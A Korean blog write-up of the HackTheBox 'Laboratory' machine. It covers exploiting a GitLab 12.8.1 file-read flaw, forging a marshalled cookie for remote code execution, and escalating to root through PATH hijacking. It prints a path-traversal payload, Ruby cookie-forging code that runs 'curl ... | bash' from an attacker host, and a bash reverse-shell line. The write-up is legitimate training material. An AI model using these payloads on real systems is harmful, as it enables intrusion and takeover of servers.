[HTB] Laboratory

쥬스몬·2022년 4월 16일
0

HackTheBox

목록 보기
9/37

Hack the box의 Machine 중 Laboratory 문제를 해결하는 과정을 기록

대상에 대한 Nmap 스캔 결과 아래와 같은 포트들과 함께 'git.laboratory.htb' 라는 서브 도메인이 존재함.

22/TCP(OpenSSH) 80/TCP(Apache 2.4.41) 443/TCP(Apache 2.4.41)

또 다른 서브 도메인이 존재하는지 확인해보기 위해 ffuf를 돌려봤더니 git 이외 존재하는지 않는것 같다.

ffuf -w SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u https://laboratory.htb/ -H "Host: FUZZ.laboratory.htb"

먼저 대상 사이트에 접근하여 HTML 코드와 디렉터리 스캔을 했을때 의미있거나 공격해볼만한 대상은 없었다.

이어서 위에서 발견한 'git.laboratory.htb'에 접근해보니 GitLab 자산이 발견됐으며, Register가 가능한것으로 파악된다.
(Register 시 이메일을 입력하는데 임의의 메일이 아닌 laboratory.htb 도메인의 이메일을 입력해야한다)

아무 권한도 없는 깡 계정이라 GitLab의 버전부터 확인해보니 GitLab CE 12.8.1이다 (GitLab은 또 CVE 맛집이지🤣)

취약점을 검색해보니 비슷한 버전대에 Arbitrary File Read 취약점이 확인된다.

임의의 두 프로젝트를 생성하여 특정 프로젝트의 이슈에 아래와 같은 페이로드를 삽입 후 이슈를 다른 프로젝트로 옮길 경우 로컬 파일을 다운로드할 수 있는 취약점이다.

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

해당 취약점을 최초로 제보한 Hackerone의 GitLab Hacktivity를 참고하면 아래 파일을 다운로드하여 RCE까지 이어질 수 있다고 한다😲

/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

RCE로 이어질 수 있는 시나리오는 GitLab에서 사용하는 'experimentation_subject_id' 쿠키는 secrets.yml 파일 내 'secret_key_base'를 통해 마샬링되는데 탈취한 GitLab의 'secret_key_base'를 공격자가 생성한 임의의 GitLab 서버에 등록하여 쿠키를 생성한 후 전달하면 공격 대상 GitLab에서 해당 쿠키를 디마샬링?🤔 하는 과정에서 특정 코드를 실행할 수 있다.

그렇다면 가장 먼저 대상 GitLab으로부터 'secrets.yml' 파일을 다운받아 'secret_key_base'를 탈취한다.

secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3

이제 임의의 GitLab 서버를 실행하기 위해 docker를 이용한다.

docker가 실행면 해당 gitlab이 실행 중인 docker의 쉘을 받아와 위에서 탈취한 'secret_key_base'를 공격자 GitLab 서버의 "/etc/gitlab/gitlab.rb"에 삽입한 후 gitlab를 재시작시켜 적용시킨다.

이후 gitlab-rails console에 접근하여 탈취한 'secret_key_base'가 적용되어있는지 확인한다.

> Rails.application.env_config["action_dispatch.secret_key_base"]

정상적으로 탈취한 키가 적용되어있으니 해당 키를 통해 마샬링된 쿠키를 생성해야한다. 공격자 서버로부터 파일을 읽어 bash로 실행하는 코드를 삽입한다.

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `curl 10.10.14.13:8000/exploit | bash` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

공격자 서버에 exploit 파일을 생성하여 리버스 쉘을 연결하기 위해 아래와 같은 코드를 담고 공격대상에게 전달하기 위해 python3로 http를 연다. 이후 nc를 통해 12321 포트를 리스닝 한다.

bash -i >& /dev/tcp/10.10.14.13/12321 0>&1

git.laboratory.htb의 git계정을 쉘을 얻을 수 있었다😎

탈취한 서버에서 권한 상승을 위해 linPEAS로 해당 서버를 스캔한다.

해당 서버는 docker로 실행되고있는 컨테이너이며 몇가지 LPE를 위한 CVE가있긴하나 권한 상승이 불가능했으며, deepce를 통해 docker를 스캔했으나 쓸만한 건은 발견되지않았다😥

그렇기에 GitLab을 확인하기 위해 공격자(juicemon)의 GitLab의 권한을 상승시킨다. GitLab 권한 상을을 위해 Cheat Sheet를 참고했다.

u = User.find_by_username('someuser')
pp u.attributes
{"id"=>5,
 "email"=>"juicemon@laboratory.htb",
 "encrypted_password"=>
  "$2a$10$.AxyjXm/2W6q392n60t6cO9SXFAWZlnHDzkLnJoEoB8sydiCSGoX6",
 "reset_password_token"=>nil,
 "reset_password_sent_at"=>nil,
 "remember_created_at"=>nil,
 "sign_in_count"=>1,
 "current_sign_in_at"=>Thu, 21 Apr 2022 05:50:14 UTC +00:00,
 "last_sign_in_at"=>Thu, 21 Apr 2022 05:50:14 UTC +00:00,
 "current_sign_in_ip"=>"172.17.0.1",
 "last_sign_in_ip"=>"172.17.0.1",
 "created_at"=>Thu, 21 Apr 2022 05:50:14 UTC +00:00,
 "updated_at"=>Thu, 21 Apr 2022 05:50:16 UTC +00:00,
 "name"=>"juicemon",
 "admin"=>false,
 "projects_limit"=>10,
 "skype"=>"",
 "linkedin"=>"",
 "twitter"=>"",
 "bio"=>nil,
 "failed_attempts"=>0,
 "locked_at"=>nil,
 "username"=>"juicemon",
 "can_create_group"=>true,
 "can_create_team"=>false,
 "state"=>"active",
 "color_scheme_id"=>1,
 "password_expires_at"=>nil,
 "created_by_id"=>nil,
 "last_credential_check_at"=>nil,
 "avatar"=>nil,
 "confirmation_token"=>nil,
 "confirmed_at"=>Thu, 21 Apr 2022 05:50:13 UTC +00:00,
 "confirmation_sent_at"=>nil,
 "unconfirmed_email"=>nil,
 "hide_no_ssh_key"=>false,
 "website_url"=>"",
 "admin_email_unsubscribed_at"=>nil,
 "notification_email"=>"juicemon@laboratory.htb",
 "hide_no_password"=>false,
 "password_automatically_set"=>false,
 "location"=>nil,
 "encrypted_otp_secret"=>nil,
 "encrypted_otp_secret_iv"=>nil,
 "encrypted_otp_secret_salt"=>nil,
 "otp_required_for_login"=>false,
 "otp_backup_codes"=>nil,
 "public_email"=>"",
 "dashboard"=>"projects",
 "project_view"=>"files",
 "consumed_timestep"=>nil,
 "layout"=>"fixed",
 "hide_project_limit"=>false,
 "note"=>nil,
 "unlock_token"=>nil,
 "otp_grace_period_started_at"=>nil,
 "external"=>false,
 "incoming_email_token"=>"7zpa40tq329ps89ts11dntd6n",
 "organization"=>nil,
 "auditor"=>false,
 "require_two_factor_authentication_from_group"=>false,
 "two_factor_grace_period"=>48,
 "ghost"=>nil,
 "last_activity_on"=>Thu, 21 Apr 2022,
 "notified_of_own_activity"=>false,
 "preferred_language"=>"en",
 "email_opted_in"=>nil,
 "email_opted_in_ip"=>nil,
 "email_opted_in_source_id"=>nil,
 "email_opted_in_at"=>nil,
 "theme_id"=>1,
 "accepted_term_id"=>nil,
 "feed_token"=>"AH-SSs96ZZFnT-vWVW8x",
 "private_profile"=>false,
 "roadmap_layout"=>nil,
 "include_private_contributions"=>nil,
 "commit_email"=>nil,
 "group_view"=>nil,
 "managing_group_id"=>nil,
 "bot_type"=>nil,
 "first_name"=>nil,
 "last_name"=>nil,
 "static_object_token"=>nil,
 "role"=>nil,
 "otp_secret"=>nil}
=> {"id"=>5, "email"=>"juicemon@laboratory.htb", "encrypted_password"=>"$2a$10$.AxyjXm/2W6q392n60t6cO9SXFAWZlnHDzkLnJoEoB8sydiCSGoX6", "reset_password_token"=>nil, "reset_password_sent_at"=>nil, "remember_created_at"=>nil, "sign_in_count"=>1, "current_sign_in_at"=>Thu, 21 Apr 2022 05:50:14 UTC +00:00, "last_sign_in_at"=>Thu, 21 Apr 2022 05:50:14 UTC +00:00, "current_sign_in_ip"=>"172.17.0.1", "last_sign_in_ip"=>"172.17.0.1", "created_at"=>Thu, 21 Apr 2022 05:50:14 UTC +00:00, "updated_at"=>Thu, 21 Apr 2022 05:50:16 UTC +00:00, "name"=>"juicemon", "admin"=>false, "projects_limit"=>10, "skype"=>"", "linkedin"=>"", "twitter"=>"", "bio"=>nil, "failed_attempts"=>0, "locked_at"=>nil, "username"=>"juicemon", "can_create_group"=>true, "can_create_team"=>false, "state"=>"active", "color_scheme_id"=>1, "password_expires_at"=>nil, "created_by_id"=>nil, "last_credential_check_at"=>nil, "avatar"=>nil, "confirmation_token"=>nil, "confirmed_at"=>Thu, 21 Apr 2022 05:50:13 UTC +00:00, "confirmation_sent_at"=>nil, "unconfirmed_email"=>nil, "hide_no_ssh_key"=>false, "website_url"=>"", "admin_email_unsubscribed_at"=>nil, "notification_email"=>"juicemon@laboratory.htb", "hide_no_password"=>false, "password_automatically_set"=>false, "location"=>nil, "encrypted_otp_secret"=>nil, "encrypted_otp_secret_iv"=>nil, "encrypted_otp_secret_salt"=>nil, "otp_required_for_login"=>false, "otp_backup_codes"=>nil, "public_email"=>"", "dashboard"=>"projects", "project_view"=>"files", "consumed_timestep"=>nil, "layout"=>"fixed", "hide_project_limit"=>false, "note"=>nil, "unlock_token"=>nil, "otp_grace_period_started_at"=>nil, "external"=>false, "incoming_email_token"=>"7zpa40tq329ps89ts11dntd6n", "organization"=>nil, "auditor"=>false, "require_two_factor_authentication_from_group"=>false, "two_factor_grace_period"=>48, "ghost"=>nil, "last_activity_on"=>Thu, 21 Apr 2022, "notified_of_own_activity"=>false, "preferred_language"=>"en", "email_opted_in"=>nil, "email_opted_in_ip"=>nil, "email_opted_in_source_id"=>nil, "email_opted_in_at"=>nil, "theme_id"=>1, "accepted_term_id"=>nil, "feed_token"=>"AH-SSs96ZZFnT-vWVW8x", "private_profile"=>false, "roadmap_layout"=>nil, "include_private_contributions"=>nil, "commit_email"=>nil, "group_view"=>nil, "managing_group_id"=>nil, "bot_type"=>nil, "first_name"=>nil, "last_name"=>nil, "static_object_token"=>nil, "role"=>nil, "otp_secret"=>nil}

위에서 확인한 것처럼 juicemon 계정의 admin 속성은 false로 확인되었으며, admin 속성을 true변경하고 저장한다.

이렇게 GitLab의 권한을 관리자로 상승 시켜 GitLab 접근 시 관리자 패널에 접근할 수 있다.

GitLab을 탐색하던 중 'dexter' 계정의 프라이빗 프로젝트에서 ssh 키를 발견하였다🔥

ids_rsa를 다운로드하여 dexter 계정으로 ssh 접근에 성공했으며 flag.txt 파일을 확인할 수 있었다.

dexter 계정에서 linpeas로 다시 한번 스캔을 하니 dexter 그룹이 실행가능한 SetUID가 붙은 파일을 볼 수 있었다.

해당 파일은 system 함수를 통해 chmod 명령을 실행한다! 🤩

해당 파일을 이용하여 권한상승을 하기위해 "/tmp/chmod" 파일을 생성하고 해당 파일에 bash을 실행하는 bash코드를 삽입하고 환경 변수 상단에 '/tmp'를 추가한 후 docker-security를 실행하여 root로 권한 상승하였다.

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글